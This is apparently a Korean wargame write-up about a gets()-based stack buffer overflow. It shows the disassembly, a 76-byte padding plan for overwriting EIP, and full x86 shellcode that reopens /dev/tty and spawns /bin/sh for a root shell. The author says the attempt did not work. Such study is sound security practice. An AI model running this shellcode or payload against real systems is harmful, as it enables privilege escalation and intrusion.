0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
뭐 아까하고 비슷하네요 버퍼,더미, SFP까지 총 76byte 있고 EIP 조작하는 문제네요.
단지 EIP를 쉘코드가 있는 주소로 점프시켜 root를 따야할 것 같습니다.
쉘코드는 "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" 를 썼구요.
[76byte][shellcode address][shellcode]
이렇게 넣을거에요.
근데 저렇게 해서 안되네요(...) 왜인지 점프는 하는데 인스트럭션 실행이 안되는..ㅠ
음 진짜 RTL도 해보고 별거 해봤는데 안되길래 이상해서 검색해봤어용
근데 다른사람들은 첫번째 방법으로 된다고..덜덜
아무튼 그래서 그냥 넘어갔습니다..원인은 일단 다풀고 파악해보죠